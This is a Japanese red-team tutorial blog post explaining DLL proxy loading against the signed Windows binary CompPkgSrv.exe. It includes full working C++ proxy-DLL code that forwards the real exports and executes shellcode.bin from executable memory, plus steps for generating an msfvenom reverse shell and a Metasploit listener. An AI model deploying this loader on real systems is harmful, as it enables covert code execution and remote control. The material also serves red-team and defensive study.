コラムColumn

導入事例Case Study

サイバーニュースCyber News

海外のサイバーセキュリティ関連のニュースを日本語でご紹介しています。

お知らせNews

【DLLプロキシローディング解説】第1回:DLL Proxy Loading の仕組みと原理

本シリーズでは DLL プロキシローディング手法を取り上げます。これはペイロードを実行しつつ正規の動作を保つために、レッドチームや高度な脅威者が採用することのある技術です。本シリーズではペイロード配布、C2 連携、ラテラルムーブメントまでを扱う予定ですが、今回は第1回として「DLL プロキシローディングのシナリオ」を中心に解説します。

免責事項:
本記事はセキュリティ教育および防御技術の理解を目的として作成されています。
記載されている情報を実環境や第三者システムに対して適用することは、不正アクセス禁止法その他の法令に抵触する可能性があります。
学習・研究・防御目的のみに限定してご利用ください。

01 はじめに

Windows アプリケーションが外部ライブラリ(DLL)内の関数をどのように呼び出すかを簡単に説明します。アプリケーションは起動時に GetExtraData() のような第三者提供の関数を呼び出し、同一作業ディレクトリにある ExtraFunctions.dll を参照して処理を行います。正規の DLL に必要な関数が存在すればアプリは通常通り動作します。

では「DLL プロキシローディング」とは何か。考え方は次のとおりです:

  1. 正規の ExtraFunctions.dll を別名(例:OtherFunction.dll)にリネームする。
  2. 元の名前 ExtraFunctions.dll として、自分のカスタム DLL(プロキシ DLL)を作成する。
  3. プロキシ DLL は内部で正規 DLL(上の例だと OtherFunction.dll)の関数をエクスポート経由で呼び出す一方、自身の任意コード(ペイロード)も実行する。

結果としてアプリは通常通り GetExtraData() を呼び出して動作するが、実際にはプロキシ DLL が正規 DLL をラップしつつ任意処理を注入できます。

02 準備(Getting start)

この手法をデモするには適切な実行ファイル(ターゲット exe)を選ぶ必要があります。サイズが小さく(理想は数MB)、正規に署名された実行ファイルで、実行時に比較的少数の DLL を安全でない方法でロードするものが望ましい、という条件があります。筆者は Windows の System32 から正規かつ小さめの実行ファイル CompPkgSrv.exe(Component Package Support Server)を選び、これを例として説明しています。VirusTotal 等で正当性を確認できます。

手順の一例:

  1. 作業用フォルダを作成し CompPkgSrv.exe をコピー。
  2. Process Monitor を起動して当該プロセスのみをフィルタし、どの DLL を参照しているか観察する。

実行すると、ターゲット exe がカレントディレクトリに CompPkgSup.DLL を探す様子が確認できます。見つからなければ system32 から取得していることが分かります。CompPkgSup.DLL にフィルタをかけると挙動が明確に見えます。

ここで一旦 CompPkgSup.DLL を作業フォルダにコピーして実行ログを観察し、プロキシローディングが機能することを確認します。

以上で CompPkgSup.DLL に対してプロキシローディングを適用可能であることが確認できました。

03 ペイロード作成(Crafting the payload)

まずペイロード(例:リバースシェル)を作成します。筆者は msfvenom を使ってシェルコードの生成例を紹介します(教育目的に限ります)。

次に、ターゲット DLL(ここでは CompPkgSup.DLL)のエクスポート関数一覧を確認するために Python の pefile モジュール等で解析します。関数名・エクスポート順などをメモしておきます。

この情報を元に、正規 DLL のエクスポートをラップする「プロキシ DLL」を作成します。Visual Studio で C++ の DLL プロジェクト(Dynamic-link Library)を作成し、出力名を正規 DLL 名に合わせます(デモではオリジナルを一時的に CompPkgSup-org.DLL にリネーム)。

dllmain.cpp を書き換え、プロキシとして正規関数をエクスポートしつつ、起動時に別ファイル(例:shellcode.bin)を読み込んでメモリ上で実行するようにします。原文の例コードは以下(原文のまま掲載)です。

#include "pch.h"
#include <stdio.h>
#include <stdlib.h>

#define _CRT_SECURE_NO_DEPRECATE
#pragma warning (disable : 4996)

#pragma comment(linker, "/export:AreDvdCodecsEnabled=CompPkgSup-org.AreDvdCodecsEnabled,@1")
#pragma comment(linker, "/export:GetMediaComponentPackageInfo=CompPkgSup-org.GetMediaComponentPackageInfo,@2")
#pragma comment(linker, "/export:GetMediaComponentPackageInfoInternal=CompPkgSup-org.GetMediaComponentPackageInfoInternal,@3")
#pragma comment(linker, "/export:GetMediaExtensionCommunicationFactory=CompPkgSup-org.GetMediaExtensionCommunicationFactory,@4")
#pragma comment(linker, "/export:GetNetworkRequestCount=CompPkgSup-org.GetNetworkRequestCount,@5")
#pragma comment(linker, "/export:GetServerForPMP=CompPkgSup-org.GetServerForPMP,@6")
#pragma comment(linker, "/export:GetSystemNativeProcessorSignature=CompPkgSup-org.GetSystemNativeProcessorSignature,@7")
#pragma comment(linker, "/export:InstantiateComponentFromPackage=CompPkgSup-org.InstantiateComponentFromPackage,@8")
#pragma comment(linker, "/export:IsMediaBehaviorEnabled=CompPkgSup-org.IsMediaBehaviorEnabled,@9")
#pragma comment(linker, "/export:RegisterServerForPMP=CompPkgSup-org.RegisterServerForPMP,@10")
#pragma comment(linker, "/export:RequireNetworkDuringMediaTaskCompletion=CompPkgSup-org.RequireNetworkDuringMediaTaskCompletion,@11")
#pragma comment(linker, "/export:UnregisterServerForPMP=CompPkgSup-org.UnregisterServerForPMP,@12")


DWORD WINAPI DoMagic(LPVOID lpParameter)
{

    FILE* fp;
    size_t size;
    unsigned char* buffer;

    fp = fopen("shellcode.bin", "rb");
    fseek(fp, 0, SEEK_END);
    size = ftell(fp);
    fseek(fp, 0, SEEK_SET);
    buffer = (unsigned char*)malloc(size);


    fread(buffer, size, 1, fp);

    void* exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    memcpy(exec, buffer, size);

    ((void(*) ())exec)();

    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved
)
{
    HANDLE threadHandle;

    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
 
        threadHandle = CreateThread(NULL, 0, DoMagic, NULL, 0, NULL);
        CloseHandle(threadHandle);

    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

上記コードでは、プロキシ DLL がロードされると DoMagic スレッドを作成し、カレントフォルダの shellcode.bin を読み込んでメモリ上で実行する流れになっています。また #pragma comment(linker, "/export:...") 指示で正規 DLL の各エクスポートをオリジナル(ここでは CompPkgSup-org)に転送しています。エクスポート一覧は pefile 等で取得できます。

コンパイルはターゲットの CPU アーキテクチャ(x86 または x64)に合わせて行ってください。本文では 64bit 用としてコンパイルしています。

※本手順は検証用の隔離環境でのみ実施してください。実際の業務・第三者環境での実行は不正アクセス行為に該当します。

04 実行(Execute)

すべてのファイル(CompPkgSrv.exe、プロキシ DLL、CompPkgSup-org.DLLshellcode.bin 等)を同一フォルダに配置します。

事前にリスナー(例:Metasploit の multi/handler)を起動しておき、ペイロードの受け口を待ちます。

ターゲット exe を実行すると、プロキシ DLL がロードされ、その内部で shellcode.bin が読み込まれて実行されます。成功すれば演習環境において、シェルコードの動作確認が可能です。

※本手順は検証用の隔離環境でのみ実施してください。実際の業務・第三者環境での実行は不正アクセス行為に該当します。

05 補足・ツール紹介(Ending)

上の手作業は自動化ツールで大部分を生成することも可能です。たとえば SharpDllProxy(Flangvik 氏作成)を使うと、元の DLL をテンポラリでリネームしてプロキシコードを自動生成する機能があり、Visual Studio でビルドするだけで同様の DLL を得られます。リポジトリをローカルにクローンし、shellcode.bin と元 DLL を投入して実行すると、出力フォルダに C++ ソースとリネームされたオリジナルが生成されます。

これで第1回「DLL プロキシローディングの基礎解説」は完了です。
本稿ではプロキシ DLL の構造と仕組みを理解することを目的としました。
次回は「ISO に埋め込んで配布する方法」を題材に、より実践的な検知回避・防御観点を解説します。
引き続き、防御・教育目的での安全な学習を心がけましょう。

注意・免責:

  • 本記事の内容は、サイバーセキュリティ教育および防御研究を目的とした技術的解説です。実在システムや第三者環境への適用は法令違反となる場合があります。
  • 紹介されているコード・設定例は検証環境でのみ実施してください。
  • CyberCrewは、本記事を用いた不正行為や損害について一切の責任を負いません。

投稿者プロフィール

ハリス ディルシャン
ハリス ディルシャン
Offensive Security Engineer | Red Team Specialist
レッドチーム演習やペネトレーションテスト、脅威モデリングを専門とするオフェンシブセキュリティエンジニアです。エンタープライズ環境やWeb・モバイルアプリ、API、クラウドサービスにおけるセキュリティ評価を多数実施し、CTFやマルウェア解析、アンチウイルス回避などにも精通しています。2020年にはCEH Master世界ランキングでトップ10入りを果たし、国際的に高い評価を得ています。
主な保有資格:
● OSCP(Offensive Security Certified Professional)
● CPENT(Certified Penetration Testing Professional)
● eCPPT(Certified Professional Penetration Tester)
● eMAPT(Mobile Application Penetration Tester)
● CRTS(Certified Red Team Specialist)
● CEH Master(認定エシカルハッカー)
● SOC-100(Security Operations Essentials)
● PEN-100(Network Penetration Testing Essentials)
● SLIIT – 情報技術学士(サイバーセキュリティ専攻)


Page Top